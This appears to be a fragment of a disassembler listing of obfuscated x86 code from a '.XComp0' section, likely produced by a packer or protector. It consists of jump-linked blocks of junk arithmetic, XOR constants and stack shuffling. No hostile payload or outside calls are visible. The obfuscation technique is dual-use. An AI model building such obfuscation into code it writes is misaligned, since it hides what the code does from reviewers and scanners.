loc_573EBC:				; CODE XREF: .XComp0:0057FBA5j
		push	esi
		mov	esi, 516C47C1h
		sub	esi, 5B5C41DBh
		add	ecx, esi
		pop	esi
		add	edi, ecx
		jmp	loc_57EDFE
; ---------------------------------------------------------------------------


loc_573ED2:				; CODE XREF: .XComp0:0057B1CCj
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_582C2E
; ---------------------------------------------------------------------------


loc_573EE4:				; CODE XREF: .XComp0:0057A8A8j
		pop	eax
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5757B9
; ---------------------------------------------------------------------------


loc_573EFB:				; CODE XREF: .XComp0:0057B660j
		mov	ecx, 0FFFFFFFFh
		add	esi, ecx
		jmp	loc_58035C
; ---------------------------------------------------------------------------


loc_573F07:				; CODE XREF: .XComp0:00573B07j
		sub	ebx, 5C582DC5h
		jmp	loc_57F680
; ---------------------------------------------------------------------------


loc_573F12:				; CODE XREF: .XComp0:005759ECj
		mov	ecx, [esp]
		add	esp, 4
		push	4A70h
		mov	[esp], edi
		mov	edi, 0ED6937B0h
		jmp	loc_582A69
; ---------------------------------------------------------------------------


loc_573F2D:				; CODE XREF: .XComp0:00579C0Ej
		sub	esi, 85D3487h
		jmp	loc_57EFA6
; ---------------------------------------------------------------------------


loc_573F38:				; CODE XREF: .XComp0:0057A4A6j
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_579120
; ---------------------------------------------------------------------------


loc_573F48:				; CODE XREF: .XComp0:0057533Aj
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_573F57:				; CODE XREF: .XComp0:00582FE1j
		mov	[esp], ecx
		mov	ecx, 7C5B7621h
		jmp	loc_583211
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_573F6C:				; CODE XREF: .XComp0:0057E526j
		add	esi, 4
		add	esi, 4
		jmp	loc_57F113
; ---------------------------------------------------------------------------


loc_573F7A:				; CODE XREF: .XComp0:005736AFj
		push	esp
		pop	edi
		jmp	loc_574FFD
; ---------------------------------------------------------------------------


loc_573F81:				; CODE XREF: .XComp0:0057D4DAj
		push	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 0C014403h
		jmp	loc_5777AA
; ---------------------------------------------------------------------------


loc_573F9F:				; CODE XREF: .XComp0:00578AA5j
		pop	eax
		xor	esi, 138F5120h
		xor	esi, 4D4B707Ah
		xor	esi, 1B0D28CAh
		jmp	loc_580BCE
; ---------------------------------------------------------------------------


loc_573FB7:				; CODE XREF: .XComp0:005801F1j
		mov	eax, [esp]
		add	esp, 4
		dec	eax
		shl	eax, 4
		add	eax, 0FFFFFFFFh
		push	ebp
		mov	ebp, 14AC4C96h
		inc	ebp
		jmp	loc_57D8B1
; ---------------------------------------------------------------------------


loc_573FD3:				; CODE XREF: .XComp0:0057B330j
		push	edi
		mov	edi, 49170134h
		jmp	loc_574EB1
; ---------------------------------------------------------------------------


loc_573FDE:				; CODE XREF: .XComp0:0057BA97j
		pop	ebx
		pop	eax
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_573587
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5766CE
; ---------------------------------------------------------------------------


loc_573FEF:				; CODE XREF: .XComp0:00577C8Bj
		not	ebp
		sub	ebp, 2B0D46A3h
		mov	edi, ebp
		pop	ebp
		dec	edi
		add	edi, 0CBA2F61Bh
		mov	ebp, edi
		pop	edi
		jmp	loc_577722
; ---------------------------------------------------------------------------


loc_574009:				; CODE XREF: .XComp0:0057B2D1j
		push	3DD0h
		mov	[esp], esi
		mov	esi, 1
		and	eax, esi
		jmp	loc_580F23
; ---------------------------------------------------------------------------


loc_57401D:				; CODE XREF: .XComp0:00581EBEj
		push	eax
		mov	ah, 9Ch
		sub	ch, ah
		jmp	loc_576C67
; ---------------------------------------------------------------------------


loc_574027:				; CODE XREF: .XComp0:00579ED2j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		push	6C5Eh
		mov	[esp], edi
		mov	edi, 4
		add	ecx, 3D5F336Dh
		add	ecx, edi
		sub	ecx, 3D5F336Dh
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	1F5Fh
		jmp	loc_57E805
; ---------------------------------------------------------------------------


loc_574075:				; CODE XREF: .XComp0:00575295j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57CE4C
; ---------------------------------------------------------------------------


loc_57408D:				; CODE XREF: .XComp0:005829CBj
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_57559C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_574355
; ---------------------------------------------------------------------------


loc_5740A8:				; CODE XREF: .XComp0:00582D1Fj
		push	edi
		mov	edi, 5583296h
		inc	edi
		add	edi, 57DF6EE1h
		jmp	loc_576849
; ---------------------------------------------------------------------------


loc_5740BA:				; CODE XREF: .XComp0:00582374j
		mov	ebp, 4
		jmp	loc_575C39
; ---------------------------------------------------------------------------


loc_5740C4:				; CODE XREF: .XComp0:00581B6Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 64604B96h
		add	ebp, edi
		pop	edi
		jmp	loc_57D7A2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5794F8
; ---------------------------------------------------------------------------


loc_5740EB:				; CODE XREF: .XComp0:005735C0j
		mov	edi, 3B432764h
		jmp	loc_57FB76
; ---------------------------------------------------------------------------


loc_5740F5:				; CODE XREF: .XComp0:0057BEC2j
		mov	[esp], ebp
		mov	ebp, 88E3627h
		push	eax
		mov	eax, 7ECB1BADh
		xor	ebp, eax
		jmp	loc_57850B
; ---------------------------------------------------------------------------


loc_57410A:				; CODE XREF: .XComp0:0058084Aj
		shr	edi, 8
		add	edi, 36099333h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_577D99
; ---------------------------------------------------------------------------
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		xchg	ebx, edx
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57356D
; ---------------------------------------------------------------------------


loc_57413F:				; CODE XREF: .XComp0:00577C4Fj
		sub	ah, 7Ah
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_57F4F2
; ---------------------------------------------------------------------------


loc_57415D:				; CODE XREF: .XComp0:0057F15Dj
		mov	ebx, esp
		push	4C7Dh
		mov	[esp], ebp
		push	eax
		mov	eax, 2AD41103h
		add	eax, 9823363h
		jmp	loc_57DDD0
; ---------------------------------------------------------------------------


loc_574177:				; CODE XREF: .XComp0:0057E269j
		push	edi
		push	51452F4h
		pop	edi
		jmp	loc_57B335
; ---------------------------------------------------------------------------


loc_574183:				; CODE XREF: .XComp0:0057C0E2j
		pop	ecx
		neg	ebx
		jmp	loc_581447
; ---------------------------------------------------------------------------


loc_57418B:				; CODE XREF: .XComp0:00582DC8j
		xor	ah, 0B3h
		sub	dh, ah
		pop	eax
		shr	dh, 5
		add	dh, 59h
		xor	dh, 0A1h
		add	bh, dh
		pop	edx
		jmp	loc_578983
; ---------------------------------------------------------------------------


loc_5741A2:				; CODE XREF: .XComp0:00576967j
		and	eax, edx
		jmp	loc_5801C2
; ---------------------------------------------------------------------------


loc_5741A9:				; CODE XREF: .XComp0:0057C410j
		pop	ebp
		push	1A78h
		mov	[esp], edx
		mov	edx, 19625969h
		sub	ebx, edx
		jmp	loc_57D4C4
; ---------------------------------------------------------------------------


loc_5741BE:				; CODE XREF: .XComp0:005797C5j
		push	33D9h
		mov	[esp], ebx
		mov	ebx, 12270787h
		shr	ebx, 5
		jmp	loc_57BE64
; ---------------------------------------------------------------------------


loc_5741D3:				; CODE XREF: .XComp0:0057EBA1j
		push	edx
		jmp	loc_5792EB
; ---------------------------------------------------------------------------


loc_5741D9:				; CODE XREF: .XComp0:0057FACDj
		sub	[esp], ax
		pushf
		jmp	loc_57F050
; ---------------------------------------------------------------------------


loc_5741E3:				; CODE XREF: .XComp0:005813ADj
		not	edi
		or	edi, 438441E8h
		push	eax
		mov	eax, 42D93A31h
		and	eax, 4B021E4Dh
		add	eax, 0D54287FEh
		add	edi, eax
		jmp	loc_57C92C
; ---------------------------------------------------------------------------


loc_574202:				; CODE XREF: .XComp0:00573AE2j
		mov	[esp], ebx
		mov	ebx, 78291560h
		inc	ebx
		jmp	loc_57EBE2
; ---------------------------------------------------------------------------


loc_574210:				; CODE XREF: .XComp0:00574C83j
		pop	ecx
		add	ah, 0C0h
		push	edx
		mov	dh, 9Eh
		jmp	loc_57858E
; ---------------------------------------------------------------------------


loc_57421C:				; CODE XREF: .XComp0:0057D58Cj
		sub	esi, 0FCB1590Ah
		sub	eax, esi
		pop	esi
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_576AA4
; ---------------------------------------------------------------------------


loc_574237:				; CODE XREF: .XComp0:00574EFCj
		add	edi, 6A371273h
		mov	eax, [esp]
		add	esp, 4
		push	3CE5h
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_575ABD
; ---------------------------------------------------------------------------


loc_574260:				; CODE XREF: .XComp0:00580527j
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_57C26E
; ---------------------------------------------------------------------------


loc_57426C:				; CODE XREF: .XComp0:0058185Dj
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_574277:				; CODE XREF: .XComp0:0057787Bj
		neg	ecx
		sub	ecx, 259923E2h
		sub	ebp, ecx
		pop	ecx
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_582240
; ---------------------------------------------------------------------------


loc_57428C:				; CODE XREF: .XComp0:0057AF27j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_581965
; ---------------------------------------------------------------------------


loc_57429D:				; CODE XREF: .XComp0:00583552j
		pop	esi
		push	dword ptr [ebx]
		jmp	loc_57AE63
; ---------------------------------------------------------------------------


loc_5742A5:				; CODE XREF: .XComp0:00579D3Bj
		add	esi, 0CAA8B7C5h
		sub	edi, esi
		pop	esi
		add	esi, edi
		pop	edi
		jmp	loc_5735C5
; ---------------------------------------------------------------------------


loc_5742B6:				; CODE XREF: .XComp0:0057503Aj
		mov	ecx, 0
		sub	ecx, ebx
		jmp	loc_57C0E0
; ---------------------------------------------------------------------------


loc_5742C2:				; CODE XREF: .XComp0:0057BC5Bj
		sub	esp, 2
		mov	[esp], cx
		push	eax
		push	edx
		mov	dh, 0A8h
		mov	al, 0D7h
		xor	al, dh
		pop	edx
		push	1F16h
		mov	[esp], ebx
		jmp	loc_57632B
; ---------------------------------------------------------------------------


loc_5742E2:				; CODE XREF: .XComp0:00581BF5j
		pop	esp
		jmp	loc_5768D4
; ---------------------------------------------------------------------------


loc_5742E8:				; CODE XREF: .XComp0:0057AE02j
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 0C122DDFh
		xor	edi, 477145BBh
		push	esi
		push	eax
		jmp	loc_580136
; ---------------------------------------------------------------------------


loc_574300:				; CODE XREF: .XComp0:005780CAj
		pop	esi
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_582C36
; ---------------------------------------------------------------------------


loc_57430F:				; CODE XREF: .XComp0:00582CD7j
		add	ebp, esi
		sub	ebp, 15D31F1Eh
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		jmp	loc_57A877
; ---------------------------------------------------------------------------


loc_574336:				; CODE XREF: .XComp0:00575604j
		not	ebx
		xor	ebx, 0F47189CDh
		add	esi, ebx
		pop	ebx
		jmp	loc_5761D7
; ---------------------------------------------------------------------------


loc_574346:				; CODE XREF: .XComp0:0057DD81j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_57B626
; ---------------------------------------------------------------------------


loc_574355:				; CODE XREF: .XComp0:005740A3j
		add	esp, 4
		jmp	loc_57E30F
; ---------------------------------------------------------------------------


loc_57435D:				; CODE XREF: .XComp0:00578B62j
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_574537
; ---------------------------------------------------------------------------


loc_574367:				; CODE XREF: .XComp0:0058219Fj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		push	ebp
		mov	ebp, 1E4A2C58h
		mov	edx, 9DA79587h
		sub	edx, ebp
		pop	ebp
		shl	edx, 1
		or	edx, 2A100B55h
		push	edx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		push	eax
		jmp	loc_58041A
; ---------------------------------------------------------------------------


loc_574399:				; CODE XREF: .XComp0:00576C73j
		xor	eax, [esp]
		xor	[esp], eax
		push	eax
		push	ebx
		pop	eax
		jmp	loc_578EDE
; ---------------------------------------------------------------------------


loc_5743A7:				; CODE XREF: .XComp0:005813CAj
		add	ecx, edx
		sub	ecx, 45966616h
		jmp	loc_57835B
; ---------------------------------------------------------------------------


loc_5743B4:				; CODE XREF: .XComp0:0057F51Bj
		mov	ebp, esp
		jmp	loc_582CC5
; ---------------------------------------------------------------------------


loc_5743BB:				; CODE XREF: .XComp0:00574866j
		mov	ecx, esp
		push	eax
		mov	eax, 70646E52h
		shl	eax, 8
		or	eax, 72EE6F3Dh
		neg	eax
		xor	eax, 891180C7h
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_57E25C
; ---------------------------------------------------------------------------


loc_5743E2:				; CODE XREF: .XComp0:005828C4j
		push	ecx
		mov	ecx, 36165485h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_57EB40
; ---------------------------------------------------------------------------


loc_5743F6:				; CODE XREF: .XComp0:00578A71j
		push	esi
		push	54A4h
		jmp	loc_57DF2E
; ---------------------------------------------------------------------------


loc_574401:				; CODE XREF: .XComp0:00578A4Fj
		push	ecx
		mov	ch, 83h
		mov	al, 4Fh
		xor	al, ch
		pop	ecx
		jmp	loc_58320A
; ---------------------------------------------------------------------------


loc_57440E:				; CODE XREF: .XComp0:00577618j
		sub	eax, 41B112CFh
		not	eax
		inc	eax
		jmp	loc_575954
; ---------------------------------------------------------------------------


loc_57441B:				; CODE XREF: .XComp0:0057B372j
		pop	ebx
		jmp	loc_5828A8
; ---------------------------------------------------------------------------


loc_574421:				; CODE XREF: .XComp0:00577D66j
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5799AE
; ---------------------------------------------------------------------------


loc_574431:				; CODE XREF: .XComp0:00583631j
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_574AB7
; ---------------------------------------------------------------------------


loc_57443A:				; CODE XREF: .XComp0:00579D29j
		mov	[esp], esi
		push	58647C00h
		pop	esi
		add	edi, esi
		pop	esi
		add	ecx, edi
		jmp	loc_5834EF
; ---------------------------------------------------------------------------


loc_57444D:				; CODE XREF: .XComp0:00583325j
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_57EF19
; ---------------------------------------------------------------------------


loc_57445D:				; CODE XREF: .XComp0:0057AE12j
		or	ecx, 13815B9Ch
		and	ecx, 12F9001Ch
		xor	ecx, 4CAC0961h
		sub	ebp, ecx
		pop	ecx
		add	ebp, edx
		add	ebp, 5E35097Dh
		mov	edx, [esp]
		add	esp, 4
		push	6B5h
		jmp	loc_57E19D
; ---------------------------------------------------------------------------


loc_57448D:				; CODE XREF: .XComp0:0057A2E2j
		xor	ecx, 0D5F3B0C1h
		shr	ecx, 7
		and	ecx, 0E055B09h
		sub	ecx, 0B4876C78h
		jmp	loc_5762A7
; ---------------------------------------------------------------------------


loc_5744A7:				; CODE XREF: .XComp0:0057BCAEj
		pop	edx
		add	al, 1
		push	edx
		jmp	loc_582DEB
; ---------------------------------------------------------------------------


loc_5744B0:				; CODE XREF: .XComp0:0057F1EDj
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		shl	ebx, 6
		xor	ebx, 3143104h
		jmp	loc_57E010
; ---------------------------------------------------------------------------


loc_5744C5:				; CODE XREF: .XComp0:0057CC9Aj
		mov	edi, esp
		push	ebx
		mov	ebx, 1898573Bh
		push	edx
		mov	edx, 191F0B48h
		add	ebx, 4FC432DEh
		add	ebx, edx
		sub	ebx, 4FC432DEh
		jmp	loc_57D6EB
; ---------------------------------------------------------------------------


loc_5744E6:				; CODE XREF: .XComp0:0057B6A2j
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_582452
; ---------------------------------------------------------------------------


loc_5744F0:				; CODE XREF: .XComp0:0057F8AAj
		sub	edi, 1
		or	edi, 14AF092Ah
		dec	edi
		neg	edi
		push	ebx
		mov	ebx, 3BEB5BB6h
		jmp	loc_577787
; ---------------------------------------------------------------------------


loc_574507:				; CODE XREF: .XComp0:0057F50Bj
		mov	esi, 3B42386Ah
		not	esi
		jmp	loc_577037
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_574522:				; CODE XREF: .XComp0:0057EA4Ej
		pop	esi
		sub	edx, 0FF1A0B58h
		jmp	loc_57A0C3
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edi
		jmp	loc_578E28
; ---------------------------------------------------------------------------


loc_574537:				; CODE XREF: .XComp0:00574362j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		pop	edx
		jmp	loc_57566D
; ---------------------------------------------------------------------------


loc_574555:				; CODE XREF: .XComp0:00582C31j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_574B87
; ---------------------------------------------------------------------------


loc_57455E:				; CODE XREF: .XComp0:00580EB9j
		xor	ebx, eax
		jmp	loc_582EF1
; ---------------------------------------------------------------------------


loc_574565:				; CODE XREF: .XComp0:0057F04Bj
		add	eax, esi
		pop	esi
		push	edi
		mov	edi, 7CB02145h
		jmp	loc_577E50
; ---------------------------------------------------------------------------


loc_574573:				; CODE XREF: .XComp0:0057E1DCj
		pop	ebx
		jmp	loc_58266F
; ---------------------------------------------------------------------------


loc_574579:				; CODE XREF: .XComp0:0057DE6Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	eax
		mov	eax, 1FC559AEh
		xor	eax, 302473A4h
		mov	esi, eax
		pop	eax
		jmp	loc_581DF1
; ---------------------------------------------------------------------------


loc_5745A3:				; CODE XREF: .XComp0:0057B233j
		push	ebx
		push	eax
		push	edi
		mov	edi, 22B77ED3h
		sub	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 22B77ED3h
		mov	edi, ebx
		push	dword ptr [esp]
		jmp	loc_575498
; ---------------------------------------------------------------------------


loc_5745C9:				; CODE XREF: .XComp0:00574EEFj
		xor	eax, 0A609CE63h
		or	ecx, eax
		pop	eax
		not	ecx
		inc	ecx
		push	2954h
		mov	[esp], edx
		push	ebx
		mov	ebx, 751415AFh
		mov	edx, 9584091Dh
		xor	edx, ebx
		pop	ebx
		sub	ecx, 54691041h
		add	ecx, 20E85EC3h
		sub	ecx, edx
		sub	ecx, 20E85EC3h
		add	ecx, 54691041h
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_57CC5B
; ---------------------------------------------------------------------------


loc_57461F:				; CODE XREF: .XComp0:0057E4E8j
		push	ebp
		mov	ebp, 0FA77123h
		shl	ebp, 4
		sub	ebp, 1
		xor	ebp, 0B4F41710h
		add	edx, ebp
		pop	ebp
		jmp	loc_57FFBF
; ---------------------------------------------------------------------------


loc_57463C:				; CODE XREF: .XComp0:0057B69Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	1D03h
		mov	[esp], ebp
		mov	ebp, esp
		push	2746h
		mov	[esp], ebx
		mov	ebx, 75262452h
		not	ebx
		shr	ebx, 5
		shr	ebx, 5
		push	eax
		push	esi
		jmp	loc_57B9D7
; ---------------------------------------------------------------------------


loc_574688:				; CODE XREF: .XComp0:00579ECAj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_574695:				; CODE XREF: .XComp0:0058280Aj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_582F98
; ---------------------------------------------------------------------------


loc_5746A3:				; CODE XREF: .XComp0:0057B06Ej
		sub	esi, 0A40B781Ch
		mov	edx, esi
		pop	esi
		or	edi, edx
		pop	edx
		jmp	loc_57FDC6
; ---------------------------------------------------------------------------


loc_5746B4:				; CODE XREF: .XComp0:0057D185j
		add	ecx, 90D2E6DEh
		add	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 44C60F39h
		add	ebp, 1CDA3EE3h
		and	ebp, 787B0561h
		and	ebp, 2FDE1587h
		dec	ebp
		shr	ebp, 8
		xor	ebp, 5DA76823h
		sub	eax, ebp
		pop	ebp
		jmp	loc_57B9EF
; ---------------------------------------------------------------------------


loc_5746E7:				; CODE XREF: .XComp0:0057F13Ej
		inc	ebp
		dec	ebp
		neg	ebp
		jmp	loc_58322F
; ---------------------------------------------------------------------------


loc_5746F0:				; CODE XREF: .XComp0:005810B9j
		add	ebx, 4
		push	edx
		mov	edx, esp
		jmp	loc_57D829
; ---------------------------------------------------------------------------


loc_5746FE:				; CODE XREF: .XComp0:0057DB56j
		push	edx
		mov	edx, 1287E2Dh
		jmp	loc_581B45
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	6D9Eh
		mov	[esp], ebx
		jmp	loc_5810B7
; ---------------------------------------------------------------------------


loc_57471A:				; CODE XREF: .XComp0:0057A779j
		push	ecx
		mov	ecx, 1
		jmp	loc_58346B
; ---------------------------------------------------------------------------


loc_574725:				; CODE XREF: .XComp0:00576BBAj
		pop	ebx
		push	767Bh
		mov	[esp], ebx
		mov	ebx, 5FA70873h
		xor	ebx, 517516A5h
		xor	ebx, 50E61AC2h
		shl	ebx, 6
		xor	ebx, 271F5C8Bh
		xor	ebx, 0CC3F256Ah
		jmp	loc_57E487
; ---------------------------------------------------------------------------


loc_574753:				; CODE XREF: .XComp0:0057AC03j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5B486F1Ch
		xor	ebp, 4AA01744h
		mov	esi, ebp
		pop	ebp
		xor	ebx, esi
		pop	esi
		inc	ebx
		jmp	loc_5775CB
; ---------------------------------------------------------------------------


loc_574773:				; CODE XREF: .XComp0:0057F215j
		mov	ebp, [esp]
		push	ecx
		jmp	loc_576935
; ---------------------------------------------------------------------------


loc_57477C:				; CODE XREF: .XComp0:0057D259j
		pop	ecx
		jmp	loc_579E49
; ---------------------------------------------------------------------------


loc_574782:				; CODE XREF: .XComp0:005805C2j
		and	edx, 177344E1h
		sub	edx, 1670001Dh
		add	ebx, edx
		jmp	loc_57624D
; ---------------------------------------------------------------------------


loc_574795:				; CODE XREF: .XComp0:005798F3j
		mov	ebp, eax
		pop	eax
		xor	ebp, 7F355CC7h
		sub	eax, ebp
		pop	ebp
		sub	eax, ebp
		add	eax, 716E278Dh
		jmp	loc_57FE4F
; ---------------------------------------------------------------------------


loc_5747AD:				; CODE XREF: .XComp0:005802DCj
		pop	ecx
		push	7652h
		mov	[esp], esi
		mov	esi, 7D4706DBh
		sub	ebx, esi
		pop	esi
		push	41Ch
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_57B7E8
; ---------------------------------------------------------------------------


loc_5747CE:				; CODE XREF: .XComp0:00580AE4j
		mov	ebx, [esp]
		add	esp, 4
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		push	esi
		jmp	loc_57E785
; ---------------------------------------------------------------------------


loc_5747EA:				; CODE XREF: .XComp0:00573764j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5830B6
; ---------------------------------------------------------------------------


loc_5747F7:				; CODE XREF: .XComp0:00575CBEj
		push	esi
		mov	esi, 35C75301h
		push	ecx
		mov	ecx, 4D98062Ah
		sub	ecx, 0F3ECEDC8h
		add	ebp, ecx
		pop	ecx
		sub	ebp, esi
		sub	ebp, 59AB1862h
		pop	esi
		jmp	loc_57AE45
; ---------------------------------------------------------------------------


loc_57481A:				; CODE XREF: .XComp0:005760EBj
		push	eax
		mov	al, 2Ch
		add	al, 0BFh
		dec	al
		not	al
		shr	al, 3
		xor	al, 4Dh
		jmp	loc_57ADC3
; ---------------------------------------------------------------------------


loc_57482D:				; CODE XREF: .XComp0:00578481j
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 49EE359Fh
		inc	esi
		sub	esi, 49EE359Ch
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57F3EB
; ---------------------------------------------------------------------------


loc_57484C:				; CODE XREF: .XComp0:005800C7j
		mov	[esp], bx
		sub	esp, 4
		jmp	loc_581DAF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_5743BB
; ---------------------------------------------------------------------------


loc_57486B:				; CODE XREF: .XComp0:0057EC97j
		mov	esi, 4
		sub	edi, 53431552h
		add	edi, esi
		push	ebp
		mov	ebp, 53431552h
		jmp	loc_57ED78
; ---------------------------------------------------------------------------


loc_574883:				; CODE XREF: .XComp0:0057CFDCj
		mov	esi, 5D364DA8h
		jmp	loc_57BA74
; ---------------------------------------------------------------------------


loc_57488D:				; CODE XREF: .XComp0:00576059j
		push	ebx
		jmp	loc_57AE84
; ---------------------------------------------------------------------------


loc_574893:				; CODE XREF: .XComp0:005780A0j
		push	4
		pop	edi
		push	edi
		jmp	loc_57C6D5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		push	33E8h
		jmp	loc_57F962
; ---------------------------------------------------------------------------


loc_5748B0:				; CODE XREF: .XComp0:00573700j
		sub	esi, 7B862C6Ah
		jmp	loc_578888
; ---------------------------------------------------------------------------


loc_5748BB:				; CODE XREF: .XComp0:0057B946j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5799A6
; ---------------------------------------------------------------------------


loc_5748C6:				; CODE XREF: .XComp0:00579565j
		add	eax, ecx
		mov	[eax], dh
		jmp	loc_573D3B
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5748D8:				; CODE XREF: .XComp0:0057F807j
		push	ecx
		mov	ecx, 0FF5FFEFCh
		jmp	loc_5808F2
; ---------------------------------------------------------------------------


loc_5748E3:				; CODE XREF: .XComp0:005761CBj
		xchg	eax, edi
		jmp	loc_57AFAE
; ---------------------------------------------------------------------------


loc_5748E9:				; CODE XREF: .XComp0:0057AFE4j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5822E3
; ---------------------------------------------------------------------------


loc_5748F5:				; CODE XREF: .XComp0:0058290Aj
		inc	edx
		not	edx
		jmp	loc_5806BA
; ---------------------------------------------------------------------------


loc_5748FD:				; CODE XREF: .XComp0:0057ABEAj
		add	esi, 0FFFFFFFFh
		dec	esi
		sub	esi, 0B427DC4Dh
		sub	ebx, 4B0B17CCh
		add	ebx, esi
		add	ebx, 4B0B17CCh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		add	edx, 3B552A27h
		add	edx, 10F4411Bh
		add	edx, eax
		sub	esp, 4
		mov	[esp], ebx
		push	19A2h
		jmp	loc_5750CB
; ---------------------------------------------------------------------------


loc_574949:				; CODE XREF: .XComp0:00577888j
		sub	al, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_57EAAF
; ---------------------------------------------------------------------------


loc_574957:				; CODE XREF: .XComp0:0057A051j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_580979
; ---------------------------------------------------------------------------


loc_574962:				; CODE XREF: .XComp0:005764E3j
		mov	esi, edi
		pop	edi
		shl	esi, 3
		push	ecx
		mov	ecx, 57CD2790h
		sub	esi, ecx
		jmp	loc_57C5CD
; ---------------------------------------------------------------------------


